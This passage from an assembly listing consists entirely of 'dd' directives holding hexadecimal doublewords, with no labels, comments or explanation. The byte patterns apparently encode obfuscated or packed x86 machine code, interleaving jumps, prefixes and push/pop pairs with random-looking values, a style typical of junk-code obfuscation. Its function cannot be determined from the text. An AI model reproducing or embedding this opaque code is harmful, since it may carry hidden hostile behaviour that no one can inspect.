33227E28h dd 0E97BD380h, 0Bh, 777FE40Bh, 2F7CC35Dh, 0B510303Ch, 0D9EE81AAh dd 66449FA7h, 325EE381h, 9250BA66h, 0CE9h, 2F0C3700h, 687C2E4Ch dd 0B045EC6h, 13E95342h, 66000000h, 31149E11h, 0F7850AD1h dd 74B40530h, 699149EDh, 0F587471h, 84h, 14870F00h, 0E8000000h dd 8, 214C18C9h, 0C744F902h, 6EC0C181h, 0E8587E69h, 11h dd 8C1E172Dh, 1F41A496h, 73B59DA1h, 0FF45A5D5h, 59F553FFh dd 5830F5Bh, 66000000h, 3F84DA81h, 8CF78166h, 0C6B70FC1h dd 8B42E880h, 0EE9D9h, 0B05B0000h, 6CD09A2Bh, 65386C8Dh dd 23B90261h, 214C281h, 66F9229Dh, 5657D68Bh, 5A586160h dd 8B6652FCh, 0DDB35FF1h, 0D3E78166h, 0F1816670h, 11E9969Eh dd 0EE000000h, 2191F17Ah, 7019CF8Dh, 0AAF5C23Eh, 70F6A704h dd 0F29F780h, 88Dh, 830F6000h, 0 dd 0EE816661h, 0D78B51F6h, 0CEEE8166h, 0F98B6690h, 0AD03C981h dd 0BB502C50h, 61D7E573h, 48C0F5Eh, 66000000h, 0F6EBCBFh dd 6652F1B7h, 0F59C28Bh, 85h, 0EE800h, 44710000h, 2F91977Fh dd 2C1963BBh, 86C39F3Ch, 58F1BF0Fh, 6E9D3B7h, 42000000h dd 436F5AE0h, 3820FE1h, 80000000h, 8B66C4C2h, 0F78B66F7h dd 0D2B86060h, 0F5E1CE7h, 0E961F2BFh, 0Eh, 0C874119Ch dd 39DE5775h, 63E001A6h, 0F6180ECh, 686h, 810F00h, 66000000h dd 61F5E281h, 0C1E28166h, 0BE9F8B7h, 79000000h, 9BF7A6C7h dd 0FD0041DFh, 830F4F64h, 6, 0FEA6EB81h, 0AE80D3Eh, 0B7000000h dd 0FD75EEBh, 0EC40F21Dh, 13E8EFh, 9EAB0000h, 0D8C9D30Eh dd 0ADA8F896h, 0A2B8315Dh, 7F8D51ECh, 0D08B66A6h, 0FE85F58h dd 94000000h, 70D08E3Fh, 8E1A76EFh, 5B652A45h, 880F930Ch dd 3, 5FD1B70Fh, 38A0F60h, 80000000h, 850FF7F6h, 3, 61C88B66h dd 0C6C18056h, 0E7DA8058h, 0CEE38060h, 0F1B70F57h, 0F88B615Fh dd 0F98BD18Ah, 69F0E381h, 0BB666DFFh, 0BA6677EBh, 0BA663B71h dd 66F5A02Ah, 0BE66D68Bh, 6653ECAFh, 8E1ED981h, 0CF816658h dd 0BF66DD5Ch, 0C18A3DD9h, 68B0Fh, 8D0F0000h, 0 dd 4BBAF8F8h, 666FBB7Dh, 0E9F8C78Bh, 0Ch, 0E5821F0Ch, 0FD5C9614h dd 6682A628h, 60DABF0Fh, 5E616050h, 6BCF8166h, 0F38161C9h dd 98A1669h, 0CE86060h, 44000000h, 23F7845h, 253057F7h dd 5A26D940h, 840Fh, 61610000h, 0B0AFD180h, 66DF8B8Ah dd 6E9D38Bh, 95000000h, 0BCB14652h, 66F28B1Dh, 24D9D381h dd 0F78AE8B3h, 50EF8166h, 0F8EF8162h, 8B48B675h, 51C1BBD6h dd 4FB81D12h, 0E930ED82h, 9, 77FDA53Dh, 4E005C4Bh, 0CE974h dd 6B5E0000h, 78AC9441h, 0E9EC1ABCh, 0BA66FA90h, 0AE9D02Eh dd 0C4000000h, 8539CF2Dh, 0C5B77F24h, 0CF81663Bh, 0CBB93AC1h dd 0B73C09C4h, 0ABE66E6h, 8FBB66ABh, 840F6001h, 2, 0E7815F50h dd 78364DA9h, 81665761h, 5BBDBFD3h, 8BD18B66h, 860FC3h dd 0E9000000h, 12h, 6BBB776Dh, 45899E6Ch, 86A754EBh, 65460E1Bh dd 8B66FCAFh, 0F3B70FD0h, 2820F60h, 60000000h, 0CBBF0F61h dd 66585761h, 0FB8BF08Bh, 0B70FE5B1h, 8E9F8D7h, 21000000h dd 660983BFh, 0F5F940Ah, 584h, 0A4E8BA00h, 81666E6Ch, 6048DDEEh dd 58D0Fh, 81660000h, 0FBC1DD3h, 282h, 61616000h, 60FE8B66h dd 0F616DB5h, 485h, 5B575700h, 0C521BB5Ah, 870F7D7Fh, 3 dd 0FD3BF0Fh, 283h, 0FC78B00h, 168Dh, 11E900h, 0FB0D0000h dd 41CB3B16h, 6E5D3874h, 0BE23F9FBh, 803429E2h, 0D38B8DC1h dd 5E8h, 0B9B82E00h, 0EE96499h, 97000000h, 9B5DBF9Bh, 0C49C56EDh dd 1F24A56Ah, 0C38B5B2Ah, 2860F60h, 8A000000h, 611FB0F0h dd 0FCF8B66h, 0B86h, 58E0F00h, 66000000h, 0A936E281h, 6E8h dd 37E61E00h, 66246FA5h, 5E0B31BAh, 0AE9h, 0FB5D5F00h dd 73403FC6h, 0BBCCC676h, 7BFE37E1h, 1BB96660h, 90B86690h dd 0E95261CDh, 7, 0EAB1EC02h, 5F8C085Fh, 60CA8B66h, 0EE9h dd 31BA4100h, 13CAE9Fh, 546BA3DEh, 6023D927h, 0BF0F6160h dd 666161F1h, 0EE8DA8Bh, 37000000h, 0BEFE2EBEh, 0F6AEB917h dd 0F85A6B99h, 11E9569Ch, 33000000h, 845CAFC5h, 0D124E793h dd 94272987h, 0EE6416BAh, 0E9F8595Eh, 6, 957610BEh, 0E3806921h dd 88A0FF1h, 0F000000h, 287h, 0F616000h, 386h, 0C9BF0F00h dd 0C850Fh, 7E90000h, 2B000000h, 4D8E92DCh, 0D0BE5F4Eh dd 8148184Fh, 0F048E0D7h, 3B1506Bh, 0AE859h, 351F0000h dd 9915E92Bh, 0A29160C8h, 5AD6BF0Fh, 5E9h, 2BC52700h, 810F9699h dd 15h, 0DE8h, 0B6773200h, 0E521F919h, 0ED8A5031h, 6160330Fh dd 0BE858h, 0B98E0000h, 933055A7h, 0F774F613h, 5E96089h dd 35000000h, 2A51D396h, 7FB9DA81h, 5B61270Eh, 0C2816657h dd 0B85AD012h, 23BC371Eh, 0D2DF8166h, 28B0F3Eh, 8B000000h dd 886FB8DEh, 860F5FCEh, 19h, 14E9h, 60C9AB00h, 1F3D7688h dd 5E176D8Dh, 0E229582Bh, 8873D21Ah, 0F6816693h, 0EA817550h dd 659994DDh, 53BAD580h, 5820Fh, 81660000h, 5BFC21D9h dd 98BAFA8Bh, 0E9628B88h, 0Fh, 132B47F2h, 8E98F92Eh, 0E844CCDBh dd 0F9F9FA91h, 38A0Fh, 8B660000h, 4850FF2h, 57000000h dd 665B6160h, 0B3C3C781h, 840Fh, 0E9810000h, 0DA569E7h dd 7EE5BE52h, 66592C97h, 0FEE7E981h, 7E9F9h, 88210000h dd 0FC9F4F61h, 8166F95Ah, 0F5EC6C0h, 820FDAB7h, 8, 0F08B6660h dd 61F88B66h, 0C3DB8166h, 0CA8B6635h, 1830Fh, 0FFC0000h dd 1384h, 0EE900h, 922D0000h, 262DE595h, 4B330A4Fh, 3F5D7B88h dd 8166D88Bh, 8B543CF1h, 1A830FD8h, 60000000h, 11E95953h dd 0DF000000h, 387D76C8h, 9A0B1CACh, 0B0CFAE30h, 189AA37Fh dd 5840F61h, 0B9000000h, 1DAEBB1Ah, 0C0A0BA66h, 15880Fh dd 9E80000h, 1F000000h, 0ADDE630Ah, 39E9B783h, 810Fh, 815A0000h dd 0D14238D2h, 0DEEDBE58h, 665659D2h, 0B558F28Bh, 13E95024h dd 41000000h, 0C67310E1h, 0EA153067h, 0BDC521Bh, 0DB9D57DAh dd 0F591F35h, 6E9C2B7h, 0E5000000h, 78274D91h, 8B86671h dd 5880F0Bh, 60000000h, 61F6B70Fh, 0D3816660h, 0F617E32h dd 0DCBBC9B7h, 0E8180CF0h, 6, 1CB53C22h, 84B3A8A2h, 0C0B70F5Ah dd 3860Fh, 0EA800000h, 5EFC5790h, 7E8h, 5433300h, 7C795DE5h dd 0C0BE6650h, 665B5ACDh, 840FC78Bh, 3, 66D18B66h, 665819B9h dd 85B2DA81h, 66FB8B66h, 6667EEB9h, 6071CEBEh, 8E0Fh, 8B510000h dd 60615BCBh, 0F2AE780h, 689h, 840F00h, 61000000h, 0FF9DF8Bh dd 282h, 0E9F6B200h, 6, 0C5ED7833h, 6EB86CB9h, 602885EFh dd 15D781F5h, 616D551Dh, 5E9h, 207F3700h, 6E88007h, 49000000h dd 0F841678Dh, 58CF8BADh, 37CA8166h, 0E5B35257h, 0AE9F95Bh dd 0A7000000h, 9DD4A71h, 7039F0C8h, 0E981661Eh, 0B9BB3E55h dd 0B8549EF5h, 39DD3772h, 6E89FB2h, 0C0000000h, 392105F7h dd 0EE897h, 65210000h, 10653100h, 0F7120477h, 3254D8E7h dd 81665E58h, 60C783E2h, 55D68166h, 0C830F24h, 0E8000000h dd 6, 0AB73E3BFh, 6159B56Dh, 0CF1CA81h, 60500A8Bh, 66F18B66h dd 5E61F08Bh, 13E9h, 1B6BE800h, 96415DFDh, 0FBA86607h dd 0D4F7D963h, 328A9F2Dh, 0FFA8B66h, 38Ah, 0C4D28000h dd 66DF8BF5h, 0CA8BC28Bh, 3DCEB9F8h, 0F600303h, 68Ch, 8C0F00h dd 61000000h, 52DF8B66h, 55ACD1B9h, 800F5F25h, 0 dd 148A0Fh, 66600000h, 0A18ACB81h, 7E8h, 35F4BB00h, 0B77528F2h dd 0B70F6159h, 0CE9D3h, 0B48B0000h, 0B64A10A2h, 6BD5F1F6h dd 66604E76h, 8B66C38Bh, 14E961F0h, 0E6000000h, 0FC199376h dd 92ABC20Ch, 0AFA07593h, 8DBB81C1h, 66AACED1h, 1F95C081h dd 81FBBF0Fh, 747357EFh, 6660F54Bh, 81A6CFB8h, 633673DAh dd 9E86172h, 96000000h, 0EE1E293Ch, 5C45F0E4h, 0BE16DFB9h dd 0DE8A5B13h, 8D0Fh, 81660000h, 56D364C6h, 10E9h, 6060F100h dd 1E63CAF9h, 87889760h, 0F7E537A6h, 0BE665E90h, 80B606A7h dd 0F7DF81FCh, 522BFC73h, 1820Fh, 5BF90000h, 13E9h, 5FD9FB00h dd 50329321h, 7B8AAEC5h, 0AB7962D7h, 57060963h, 0C08160F9h dd 666D0029h, 61D9BF0Fh, 58D0Fh, 81660000h, 664E9ACBh dd 8BFF0BBAh, 0AE8C6h, 0BB50000h, 4ECB823Dh, 0ABCBF50Dh dd 0AE9h, 2B351F00h, 0C89915E9h, 58A29160h, 78C38166h dd 13E93Dh, 4C9C0000h, 2E989985h, 24427D70h, 0E4B11E02h dd 0BEAAC7BDh, 810FF92Bh, 6, 0B70FF560h, 11E861F6h, 0AB000000h dd 1FF8F334h, 0DF6CDA9Eh, 353CA2E8h, 1F3E77CAh, 850F5158h dd 4, 0C422BF66h, 7E859h, 0D6810000h, 0B068F62Fh, 0F5BF9FEh dd 1582h, 0AE800h, 0CFF40000h, 7E891926h, 461F3091h, 0F5C68166h dd 0B70F5F12h, 70BBBEF7h, 0F606D24h, 0BF0FD8B7h, 665061D6h dd 59677CBEh, 0D0B70F57h, 0C28B6658h, 1B12E681h, 0BF0F2284h dd 6800FC1h, 0F000000h, 86h, 3830F00h, 0F000000h, 8B66C9BFh dd 9AD781D1h, 0F5CF7F2h, 8A0FC7BFh, 0Ch, 6840Fh, 0D9810000h dd 7CFE89E7h, 0E957D38Bh, 0Ah, 0D4BA621Eh, 0CBE2C026h dd 0F58196Eh, 0FE9DAB7h, 0FB000000h, 0A92E0315h, 0EF15CF39h dd 1E81DA85h, 7E989F6h, 0CF000000h, 8A3E68A4h, 5756FD6Bh dd 0CE9h, 4C194300h, 0D167DDF0h, 64A20060h, 0E95858FAh dd 14h, 9195E6DCh, 0D5A5E59Dh, 529C8447h, 6DDC5C67h, 63A8FE90h dd 10E8h, 0C4FE9400h, 2BE909FCh, 76E00EADh, 99283625h dd 605BF5E5h, 610ED780h, 81F7BF0Fh, 0EE6AFCEFh, 13E80Ah dd 69A90000h, 0DDD051F9h, 0B4C2F707h, 0C5E242DBh, 0F3B3A438h dd 30BE5A49h, 5629A25Dh, 5AF9B70Fh, 0C840Fh, 8A0F0000h dd 6, 870Fh, 8B660000h, 8CBA66D3h, 0C1816660h, 0FF95DCDh dd 0F8Fh, 0AE900h, 0DD160000h, 0FE567FFDh, 7E204016h, 11E8F9FCh dd 93000000h, 4F77914Fh, 6FB759D5h, 0B2BB8066h, 28758B56h dd 1B93BF66h, 7E95Bh, 411C0000h, 5482FC27h, 0F181F93Ch dd 1F359940h, 188C0Fh, 840F0000h, 12h, 0DE9h, 4353E700h dd 0BBE1DA65h, 0FDF02C2Dh, 0B8662E14h, 7E95027h, 0FA000000h dd 8843089Ch, 81660843h, 0FE207D9h, 8166C9B7h, 0F5430F7h dd 280h, 0E943B000h, 0Dh, 168EEDA3h, 9DADE8D0h, 13F2CEA9h dd 0D0816687h, 0B70F68F7h, 683CBAC9h, 816610D5h, 0E82B96E1h dd 0Dh, 0B408D7F1h, 0EBFDB109h, 0CA30B62Ch, 0C188BE64h dd 0F5A2104h, 489h, 0B96600h, 8E0F5625h, 13h, 0EE9h, 4EC84700h dd 870A0B2Ch, 65344558h, 5837FDE5h, 5FCAB966h, 72BFF181h dd 840F58EBh, 0 dd 8E0FF28Bh, 13h, 0EE9h, 85C3F400h, 1714C456h, 15FF9BFh dd 81C6BE9Fh, 8B106BF0h, 0F0816636h, 12E95738h, 2E000000h dd 0D60DE9D3h, 1F79FE43h, 26F0AF29h, 63FF1914h, 80EB8AFDh dd 0E951E1E7h, 8, 0B22F5274h, 98926EA2h, 0C18B6658h, 5FEA8A53h dd 56D88B66h, 0F5FDF8Bh, 8C0FC2BFh, 5, 0F84ACABBh, 0AE8FC2Dh dd 0A3000000h, 48402EA8h, 0E777B9BEh, 22C08058h, 0E8ACB15Ah dd 7, 60A2E4D0h, 607AAA2Bh, 0E8525861h, 11h, 0A4489668h dd 0C921F5C3h, 0FB5152CEh, 0DB57E85Ah, 5A76B4C7h, 0AE95Fh dd 0DFFF0000h, 0D6E94A85h, 5AC12607h, 0C860Fh, 870F0000h dd 6, 0EB0BC981h, 0F7BA4A45h, 50610A47h, 0D2F58058h, 75CB8166h dd 0BEC18B15h, 6D533D84h, 81FEB70Fh, 0D5288DD8h, 0F98B660Ch dd 9E8h, 0BF49A300h, 671DA23Bh, 0BF665F91h, 0F58174Fh dd 6E9C8B7h, 66000000h, 57034C72h, 5E98Ch, 0D4590000h dd 0FF2B25Fh, 6060F7BFh, 81666160h, 613708EAh, 11E9h, 0A5C5E100h dd 0AEBF3F5h, 0C820467h, 3746288h, 66612DFFh, 418F681h dd 40C88166h, 800F60D8h, 5, 15267EBAh, 870F6128h, 5, 0B893D9BAh dd 60505357h, 0F595A61h, 0CE9D6B7h, 0CD000000h, 0F2C82B6Eh dd 661F105Dh, 0FC81D7F0h, 5E9h, 7C801100h, 0FE9577Ah, 76000000h dd 729E47AFh, 4AED4794h, 80134541h, 0E960F6EEh, 0Ch, 362BBC37h dd 75D45FE6h, 0BC2251BBh, 10E9h, 3462C800h, 0B310A1E8h dd 1276D73Fh, 0A6FBFD41h, 8B666123h, 99A6BED0h, 80F536EAh dd 0DA8B0ECDh, 0EE9F5h, 840E0000h, 85E1BCF5h, 2CF424DCh dd 1C18B909h, 0E7AA44BAh, 0F281662Ah, 0BF0F5350h, 0F60F5F7h dd 8Fh, 28C0F00h, 0B1000000h, 0CF816108h, 5E064B59h, 0E7C88166h dd 8B66F5FAh, 68B0FD9h, 81000000h, 0B1524AF1h, 0FB8B660Eh dd 8BEE75B8h, 0E4BF666Fh, 7E960DCh, 23000000h, 0AC1E37D9h dd 81668A4Ah, 613439D2h, 0EF8BB66h, 68F0Fh, 0C2810000h dd 277B23A2h, 0FFE8B66h, 0E680DBBFh, 8BC88BFCh, 14C681C6h dd 8B2AA9E2h, 5E8DEh, 69740000h, 60787C9Eh, 7C88BF66h dd 6117E480h, 0D7F38158h, 0F08D247h, 8Ah, 68F0F00h, 51000000h dd 0FF78B966h, 0DFB1565Ah, 4AC98158h, 601F9605h, 95D78166h dd 0C38061FAh, 870F78h, 0F000000h, 58Eh, 0E47ABB00h, 860F60A2h dd 4, 6745BF66h, 66CAB70Fh, 0F6AACBAh, 6660FBB7h, 0B966CF8Bh dd 56611D64h, 5E8h, 0DCF81A00h, 800F7E29h, 0 dd 820F5858h, 0Eh, 6E850h, 0A19B0000h, 0F95CF241h, 0E9565B59h dd 12h, 714B465h, 0C0B12204h, 7B9DB7C7h, 61131450h, 525FF060h dd 5E95Ah, 22FA0000h, 0F8C5A97h, 584h, 2F49BF00h, 12E8557Ah dd 0DA000000h, 3AE10BB9h, 363EFCE3h, 91C685B3h, 1E59AA28h dd 7EF6819Eh, 5B5AB79Eh, 0B65B64B9h, 12E951h, 0F3A10000h dd 0BA11CAD7h, 0F9119BE1h, 53812969h, 57846075h, 518DBB66h dd 7355BF66h, 9E9h, 7B6ADA00h, 0F015D6F7h, 93B414ACh, 0FF78B66h dd 85h, 45F28000h, 6676DE80h, 8EA7D981h, 2840F56h, 53000000h dd 80605A5Bh, 8E9A0EFh, 0C000000h, 0E524FB8Bh, 61ADC246h dd 0CF93BB66h, 1AD0BA66h, 0B8DF8BF5h, 0AA157F2h, 5810Fh dd 0C0BB0000h, 8138D4E0h, 28AA08D0h, 13830F58h, 0E9000000h dd 0Eh, 0CAE3C842h, 0EFD8E835h, 5580008Eh, 5F509363h, 3061C281h dd 830F7A2Dh, 1, 810FF5h, 0F8000000h, 95DD04BEh, 0C9B0F81Dh dd 6E8h, 2E71100h, 600A9E0Fh, 8F0Fh, 0F08B0000h, 53FC5861h dd 18B0Fh, 5BF50000h, 94B85E56h, 0E97F3E19h, 14h, 0F87AEFC4h dd 109B9ABCh, 0D89E2DEDh, 0C741BCD5h, 0E76F3Eh, 0A94AB866h dd 168D0F56h, 0E9000000h, 11h, 24DC85E1h, 0B9092CF4h, 0F0771C18h dd 0D1930E5Eh, 0AABA5B94h, 8B286040h, 0F3BB66F2h, 0E9CE8B87h dd 11h, 33970127h, 8EC57046h, 1DC0A7BEh, 92EF8CCDh, 7E9AFh dd 43F00000h, 81BB870h, 3800F18h, 0F000000h, 8B66DBB7h dd 662CB4D7h, 0CE41C981h, 0DE8FCh, 8640000h, 171CB81Bh dd 52E3D057h, 0E918DED4h, 12h, 7F78059Ch, 9CCC93BBh, 2ADCE35Ah dd 11AE1A96h, 60588116h, 5FC38B57h, 11E9h, 6FC62B00h, 25B1C1BFh dd 3B9050F7h, 81ACEB7Dh, 0BE616DF8h, 3915A629h, 0BE8F9h dd 52D40000h, 9936B4CFh, 26E23D2Bh, 1890FB6h, 0F5000000h dd 66F18B5Eh, 0F651CB8h, 489h, 0F7BF6600h, 8E97Dh, 71110000h dd 0F10CA10Ch, 0E8FCC293h, 0Bh, 0EFB521A9h, 8D15A525h dd 0F8DDE07Bh, 0EE95Ah, 710B0000h, 0C26950E6h, 324E9626h dd 2A29D05Dh, 8B60C28Bh, 61F88BDEh, 6840Fh, 0C9810000h dd 566CAC00h, 0DE9F5h, 0A4E90000h, 63188692h, 0DC4C2564h dd 0E9F8A8FDh, 10h, 67209FE3h, 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh dd 0E9C28B66h, 7, 0B897909Ch, 0E9556C58h, 9, 6C724615h dd 56365B37h, 312B837h, 8B66202Ah, 0F38B66DFh, 890FC18Bh dd 4, 5A616051h, 9E9h, 0E3AC4D00h, 1327BE0Eh, 5260BA6Ah dd 13E8h, 6089D300h, 5E24DE48h, 1B85661Ah, 0FBA1D507h dd 0DD25170Ah, 6BBF5E5Fh, 6114AF63h, 7E860h, 0ABDC0000h dd 0CFA0D524h, 544FB812h, 665E01BBh, 5E1CF81h, 0E9FAB461h dd 0Bh, 86977E97h, 8BB7C58Bh, 60DF6604h, 8BCAC280h, 0E85361D3h dd 0Ah, 0D1D9259Bh, 0EABFF2E2h, 0C6B856FDh, 582F646Fh dd 8166575Eh, 5898D7EBh, 8A0FF38Bh, 1Bh, 0FE8h, 1CD14B00h dd 8BEC9CFEh, 6650DD1Bh, 2D8FD053h, 850Fh, 515B0000h, 2860Fh dd 0DE8B0000h, 0E0EA815Bh, 80377792h, 8B6687D9h, 0D68B66D0h dd 0A40207B8h, 0E935B625h, 9, 7A1580C0h, 7137D2D6h, 840F7Ah dd 0E9000000h, 0Eh, 170D90D2h, 0AA98E5FEh, 0EDA6DDA9h dd 66518D73h, 805BFA8Bh, 0DE975D8h, 80000000h, 7EC5204Dh dd 805396B5h, 0ACF3A82Eh, 0A4C68166h, 0D946BE72h, 7E86FDBh dd 0CE000000h, 0EBA5CC5h, 870FF3F7h, 6, 870Fh, 665F0000h dd 0E981F88Bh, 0FE4418h, 8DE08166h, 0E8F0B1ABh, 7, 0BC2AA296h dd 606640ACh, 0CE9h, 2D5FE00h, 55478CA5h, 7E2FAE50h, 615957FFh dd 0E9F08B59h, 6, 0D2976ACEh, 0BE668D8Eh, 830FB11Eh, 17h dd 12E9h, 908B200h, 0C0930F4Dh, 0BE2F6E49h, 0EBCF6F56h dd 66D02B16h, 534A3CBBh, 59CF8B66h, 901BDFBBh, 3820F1Ah dd 80000000h, 0B70F25C5h, 8BFC60F7h, 10E961F0h, 0E6000000h dd 1F55A4DAh, 643A9855h, 0F30FADD2h, 0F9E08A65h, 0D859D981h dd 0BA66133Dh, 96BA1018h, 0E80108E0h, 0Bh, 9622F376h, 0BA55D1E2h dd 66213FEDh, 5A19E281h, 0C181665Eh, 8D0FC4F7h, 6, 3BB96660h dd 0F6061D6h, 0CE80F2BFh, 0D981610Ah, 4B40C3F5h, 0EEB7EDB6h dd 0DE9h, 0E402BA00h, 3729F714h, 0C16E83EEh, 0E95088D2h dd 0Fh, 6B20F3DCh, 916E13h, 0BB745ADh, 5BF7B037h, 7E8h dd 0AD787300h, 98A0E8EDh, 68A0Fh, 870F0000h, 0 dd 0BA58525Ah, 522760F4h, 0E9DBBF0Fh, 0Fh, 0ACE45AFFh dd 8B00BF28h, 590DEA6Fh, 81BF0BBFh, 0C95099CFh, 0E1816667h dd 0E8529365h, 10h, 4B2A4BA5h, 0C56CA861h, 0F0C11C42h dd 0B37E9BB8h, 59F9BF0Fh, 94C8805Ah, 805AF680h, 32B327F6h dd 11E9h, 0DE62DA00h, 0ACFA62DEh, 22F2B766h, 0A5ED581Fh dd 6651FF6Dh, 493EDE81h, 8E959h, 0DAF00000h, 0B9BFD70Eh dd 0C18BAE46h, 66F6B70Fh, 0A52BC381h, 0CE9h, 0A46EDC00h dd 8CA35999h, 8F4CBEE5h, 66FFB169h, 679D081h, 11810Fh dd 8E80000h, 26000000h, 2CBF24C5h, 0F60862Ah, 0FC58CEB7h dd 14E9h, 0EAFDD600h, 389F2B33h, 0E5C394DEh, 0B1218D0Bh dd 0BDF06C85h, 37D681FBh, 0F81BFA43h, 0BA666060h, 0BF0F72AEh dd 0E96061FBh, 0Bh, 0C3A25966h, 0BECC551Bh, 660C42D5h dd 61BE19BEh, 78C0F61h, 0F000000h, 18Dh, 0B966F900h, 9E884D3h dd 3000000h, 706143EFh, 369C88D6h, 0B8F18A5Eh, 2B65B89Bh dd 0A5D3BF66h, 18860Fh, 13E90000h, 59000000h, 26AAB3Ah dd 0CBFA9BB4h, 305E1AE6h, 6F3A2522h, 0F88BCAA3h, 0F9EA8053h dd 14E8F559h, 11000000h, 0FB36F675h, 28350AE1h, 7A13F7AEh dd 0B8483A24h, 8BAC5083h, 840F5EC1h, 14h, 20BA6660h, 9E9B4h dd 74640000h, 54E783DDh, 616CCC83h, 927E13BEh, 11E91Fh dd 0EA870000h, 0D2088555h, 8F614849h, 6126A734h, 8155DBFDh dd 0C674FCF2h, 8166604Ch, 613C4FEEh, 0AE9h, 4E766B00h dd 60199FD2h, 0E91142F8h, 0Bh, 0A2160054h, 0B7498BAAh dd 66587F5Fh, 0E99D86BEh, 0Fh, 0BA6C47ADh, 64D33BBEh, 0A82460D5h dd 0F43AB19h, 0E58AF0BFh, 3830Fh, 0B70F0000h, 83F1BFDBh dd 12E94F44h, 0BC000000h, 0AD4BB669h, 2B79E2AEh, 1E3DEF5Dh dd 7FA9ECDAh, 0FDDEB9A2h, 0BB661358h, 0DE8BAC0Ah, 3F62B966h dd 10E8h, 28537E00h, 3DFA5D2Ch, 140AE6FBh, 25F0048Dh, 6800F00h dd 0F000000h, 89h, 0AE95F00h, 94000000h, 56BDED60h, 85BD42ACh dd 15840FE0h, 0E8000000h, 0Bh, 0B07A7756h, 0F9C0F70h, 66AF5C08h dd 5E35BAB9h, 8F0Fh, 0D78B0000h, 77D68166h, 0E95F530Bh dd 13h, 5B2BCFAFh, 8202E09Ah, 0C0589C2Ah, 72797BA4h, 0F91DAF5h dd 8B66F7BFh, 5D3BBF2h, 7E861A6h, 0F2000000h, 0BAC803AFh dd 0BB0DE2h, 5F368622h, 2860Fh, 0F78B0000h, 6623D780h dd 665311BFh, 0E9C282BAh, 10h, 1348FBEFh, 1B753455h, 10B64C17h dd 785B31BEh, 8E0FDF8Bh, 0 dd 8B66A7B6h, 58E0FD3h, 0BE000000h, 64D99A5Fh, 0CFF08166h dd 28EE811Dh, 6663CC45h, 5F32E781h, 0DE9h, 0E816A00h, 2A6B89CCh dd 0A4AF5D6Bh, 0C6B4F248h, 2810Fh, 5B500000h, 8BF08B60h dd 66F561F3h, 1F06D181h, 0EAF08166h, 7E907h, 8A250000h dd 4C296AA0h, 0CE8E0h, 563D0000h, 1622732Ch, 4E53849Ch dd 840F7385h, 2, 8B5B5853h, 0B86656CFh, 0F5AE2E7h, 1780h dd 0BE800h, 0EB130000h, 0C65A11EAh, 0F95F61B8h, 830FBFh dd 5B000000h, 2E840Fh, 11E80000h, 9C000000h, 0D13D28CAh dd 9728549Eh, 0A9C94280h, 51C64572h, 11E8h, 0C4271900h dd 41A37C97h, 22778E1Ch, 0B5E42932h, 5B589534h, 0BA665E53h dd 66604D99h, 0AA55D781h, 0CBB70F52h, 0F516158h, 5059D9B7h dd 0EC88159h, 0B035AB1Bh, 8E8AFh, 90890000h, 27FAFF5Ah dd 12E8712Fh, 45000000h, 58FA36E7h, 804C49BEh, 4A45EE21h dd 10E83DA9h, 58616070h, 0C38B665Bh, 0C471BE66h, 0C32A60BFh dd 38D0F74h, 80000000h, 0C08105F5h, 391D273h, 8E860h, 0F2330000h dd 6EC67886h, 59F9066Eh, 0C880F61h, 0F000000h, 682h, 840F00h dd 0B8000000h, 6A615CAh, 4840F60h, 66000000h, 66A18DBAh dd 61FD3FBAh, 0AAC7F6B8h, 84CFB92Ah, 0B3B12760h, 6E9h dd 89EDD00h, 66534D85h, 0F280D88Bh, 13E900h, 0CC40000h dd 9F2E818Ah, 81F10A85h, 93CF64Bh, 0E49E6129h, 0E28166A0h dd 800F9EBEh, 10h, 0BE9h, 69AD5C00h, 0AEF28B45h, 299EF79h dd 7AD1C281h, 66513AE1h, 5EE288BBh, 31C18166h, 78B0F28h dd 60000000h, 0E7E78166h, 81666116h, 80CB6DE9h, 0AE8C8D4h dd 0B5000000h, 6674571Bh, 142B4A4Fh, 6E90Ch, 1BCA0000h dd 0B498EF72h, 0DE8B665Fh, 8166F98Ah, 801915C2h, 0DD8A73C0h dd 0E8D9BF0Fh, 11h, 22A387FBh, 0B8F103E6h, 0CFC593E2h dd 8D6F4461h, 12E9BDh, 0BAD80000h, 51A34C92h, 0F7CAB5DAh dd 0FD7E3D0Fh, 64333D02h, 0DE958h, 0D6DB0000h, 0AFAF2E11h dd 923AB6E6h, 0E971EDCCh, 6, 96F2A397h, 8B66A3B2h, 13E8D9h dd 63990000h, 0C43B49B7h, 985EF2DBh, 0C06D0CFDh, 96D125A3h dd 0A3BA6697h, 8E9582Bh, 0A3000000h, 0B14738AEh, 669767F3h dd 0CE07D981h, 0B8E881FCh, 817670F1h, 11E6D6E9h, 91F28134h dd 0F1D7558h, 385h, 0D98B6600h, 205AC981h, 81534853h, 0EC1CA9EBh dd 0EA8A5B4Eh, 0F8B0F53h, 0E9000000h, 0Ah, 97E517CAh, 2DFAEDB7h dd 0B85983B5h, 6BEBA64Bh, 5BFE8B57h, 0EE9h, 0FAD10100h dd 680B3A39h, 0F6DB58Fh, 8A158CB3h, 0C98166C8h, 810FE383h dd 3, 0B6C18B66h, 0DE86079h, 0BC000000h, 90E9EC1Ah, 44A7F2FAh dd 0F0E5A6E5h, 66596160h, 0BE86C981h, 8BF98B61h, 1891B8F3h dd 850F3936h, 9, 3800Fh, 0B70F0000h, 2EBF66F0h, 25C881C6h dd 0E91200DAh, 5, 7BB00BE2h, 8E8E5h, 547A0000h, 8F3E6714h dd 58F59B2Bh, 0C800Fh, 8C0F0000h, 6, 8B0Fh, 66F90000h dd 0A051E181h, 0C28B5660h, 6195B05Fh, 4830Fh, 0BF660000h dd 0DA8A7A26h, 0FE9h, 0C6F1D00h, 0D5E003C7h, 61D75094h dd 7F2DB4FCh, 12E85B53h, 62000000h, 99F22C67h, 0D505F32Fh dd 642C61A7h, 0A8D5DCh, 5ED08B1Ah, 9DB8166h, 0D0FFB811h dd 0DA8B74D7h, 48A4E181h, 0D1815803h, 6D735663h, 0CE9h dd 0D45A8F00h, 0CE597A86h, 35A932A2h, 12E815h, 9B10000h dd 75CE074h, 0FB0A879Ch, 555F6D05h, 2A3DA358h, 13E8h, 9A2E8200h dd 44357E45h, 0A24008F3h, 7DB86224h, 0F86F09DAh, 23F2CF81h dd 5B5F0509h, 0F1D88166h, 12880FAAh, 0E9000000h, 0Dh, 6E6199DCh dd 37349FD7h, 2A2AC893h, 0F6B70F74h, 3820Fh, 0CC800000h dd 53D08BDDh, 8B0Fh, 66580000h, 6769E781h, 6672D080h, 0A5B9CB8Bh dd 0E92B35DEh, 0Bh, 0BE99C3E8h, 